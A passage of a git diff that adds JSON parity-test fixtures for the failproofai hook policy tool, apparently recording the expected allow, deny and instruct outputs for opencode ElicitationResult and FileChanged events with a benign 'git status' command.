"cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/ElicitationResult/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/ElicitationResult/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..d6d07bd9 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ElicitationResult/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/ElicitationResult/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/ElicitationResult/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..24f41216 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ElicitationResult/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/ElicitationResult/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/ElicitationResult/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..93988c28 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ElicitationResult/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/ElicitationResult/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/ElicitationResult/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..e74a1859 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ElicitationResult/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/ElicitationResult/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/ElicitationResult/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..17bf948e --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ElicitationResult/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/ElicitationResult/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/ElicitationResult/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..cfe47390 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ElicitationResult/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/ElicitationResult/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/ElicitationResult/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..b338f515 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ElicitationResult/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/ElicitationResult/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/ElicitationResult/deny__tool-present__one-policy.json new file mode 100644 index 00000000..41d85a78 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ElicitationResult/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/ElicitationResult/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/ElicitationResult/deny__tool-present__two-policies.json new file mode 100644 index 00000000..0b42dd8e --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ElicitationResult/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/ElicitationResult/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/ElicitationResult/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..b9547e7a --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ElicitationResult/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ElicitationResult\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/ElicitationResult/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/ElicitationResult/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..24eaae90 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ElicitationResult/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ElicitationResult\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/ElicitationResult/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/ElicitationResult/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..160a561d --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ElicitationResult/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ElicitationResult\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/ElicitationResult/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/ElicitationResult/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..715f1e08 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ElicitationResult/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ElicitationResult\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/FileChanged/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/FileChanged/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..ebb11d34 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/FileChanged/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/FileChanged/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/FileChanged/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..bae78739 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/FileChanged/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/FileChanged/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/FileChanged/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..4d916efa --- /dev/null +++ b/__tests__/parity/fixtures/opencode/FileChanged/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/FileChanged/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/FileChanged/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..0ec00ef2 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/FileChanged/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/FileChanged/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/FileChanged/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..bc3ac779 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/FileChanged/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/FileChanged/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/FileChanged/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..bb08fbed --- /dev/null +++ b/__tests__/parity/fixtures/opencode/FileChanged/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + 